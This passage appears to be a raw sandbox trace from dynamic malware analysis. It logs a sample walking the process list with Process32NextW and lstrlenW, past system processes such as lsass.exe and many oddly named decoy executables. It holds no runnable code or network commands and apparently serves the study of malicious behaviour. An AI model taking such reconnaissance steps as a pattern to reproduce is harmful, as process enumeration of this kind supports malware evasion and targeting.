th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.193] lstrlenW (lpString="smss.exe") returned 8 [0059.193] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.193] lstrlenW (lpString="csrss.exe") returned 9 [0059.193] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.194] lstrlenW (lpString="wininit.exe") returned 11 [0059.194] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.195] lstrlenW (lpString="csrss.exe") returned 9 [0059.195] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.195] lstrlenW (lpString="winlogon.exe") returned 12 [0059.195] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.196] lstrlenW (lpString="services.exe") returned 12 [0059.196] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.197] lstrlenW (lpString="lsass.exe") returned 9 [0059.197] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.197] lstrlenW (lpString="svchost.exe") returned 11 [0059.197] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0059.198] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0059.198] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0059.199] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0059.199] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.199] lstrlenW (lpString="svchost.exe") returned 11 [0059.199] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.200] lstrlenW (lpString="dwm.exe") returned 7 [0059.200] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.201] lstrlenW (lpString="svchost.exe") returned 11 [0059.201] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.201] lstrlenW (lpString="svchost.exe") returned 11 [0059.202] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.202] lstrlenW (lpString="svchost.exe") returned 11 [0059.202] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.203] lstrlenW (lpString="svchost.exe") returned 11 [0059.203] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.204] lstrlenW (lpString="svchost.exe") returned 11 [0059.204] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.204] lstrlenW (lpString="svchost.exe") returned 11 [0059.204] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.205] lstrlenW (lpString="svchost.exe") returned 11 [0059.205] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.206] lstrlenW (lpString="svchost.exe") returned 11 [0059.206] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.206] lstrlenW (lpString="svchost.exe") returned 11 [0059.206] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.207] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.207] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.208] lstrlenW (lpString="svchost.exe") returned 11 [0059.208] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.208] lstrlenW (lpString="svchost.exe") returned 11 [0059.208] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.209] lstrlenW (lpString="audiodg.exe") returned 11 [0059.209] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0059.210] lstrlenW (lpString="sihost.exe") returned 10 [0059.210] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.210] lstrlenW (lpString="svchost.exe") returned 11 [0059.210] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0059.211] lstrlenW (lpString="taskhostw.exe") returned 13 [0059.211] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0059.212] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0059.212] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0059.212] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0059.212] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.213] lstrlenW (lpString="explorer.exe") returned 12 [0059.213] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0059.214] lstrlenW (lpString="Memory Compression") returned 18 [0059.214] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0059.215] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0059.215] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0059.215] lstrlenW (lpString="SearchUI.exe") returned 12 [0059.215] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0059.216] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0059.216] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.217] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.217] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0059.217] lstrlenW (lpString="taskhostw.exe") returned 13 [0059.217] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0059.218] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0059.218] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0059.219] lstrlenW (lpString="msoia.exe") returned 9 [0059.219] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0059.219] lstrlenW (lpString="UsoClient.exe") returned 13 [0059.220] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0059.220] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0059.220] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0059.221] lstrlenW (lpString="msoia.exe") returned 9 [0059.221] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0059.222] lstrlenW (lpString="taskhostw.exe") returned 13 [0059.222] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0059.222] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0059.222] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0059.223] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0059.223] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0059.224] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0059.224] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0059.224] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0059.224] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0059.225] lstrlenW (lpString="arcobviously.exe") returned 16 [0059.225] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0059.226] lstrlenW (lpString="preston disciplines.exe") returned 23 [0059.226] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0059.226] lstrlenW (lpString="boss.exe") returned 8 [0059.226] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0059.227] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0059.227] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0059.228] lstrlenW (lpString="placing.exe") returned 11 [0059.228] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0059.228] lstrlenW (lpString="heroes.exe") returned 10 [0059.228] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0059.277] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0059.278] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0059.278] lstrlenW (lpString="requirement moments.exe") returned 23 [0059.278] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0059.279] lstrlenW (lpString="sugar.exe") returned 9 [0059.279] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0059.280] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0059.280] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0059.281] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0059.281] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0059.281] lstrlenW (lpString="genealogy.exe") returned 13 [0059.281] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0059.282] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0059.282] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0059.283] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0059.283] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0059.284] lstrlenW (lpString="expenditure.exe") returned 15 [0059.284] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0059.285] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0059.285] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0059.285] lstrlenW (lpString="upgrading.exe") returned 13 [0059.285] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0059.286] lstrlenW (lpString="conservative.exe") returned 16 [0059.286] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0059.287] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0059.287] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0059.288] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0059.288] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0059.289] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0059.289] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0059.289] lstrlenW (lpString="gods violations duke.exe") returned 24 [0059.289] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0059.290] lstrlenW (lpString="dllhost.exe") returned 11 [0059.290] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.291] lstrlenW (lpString="conhost.exe") 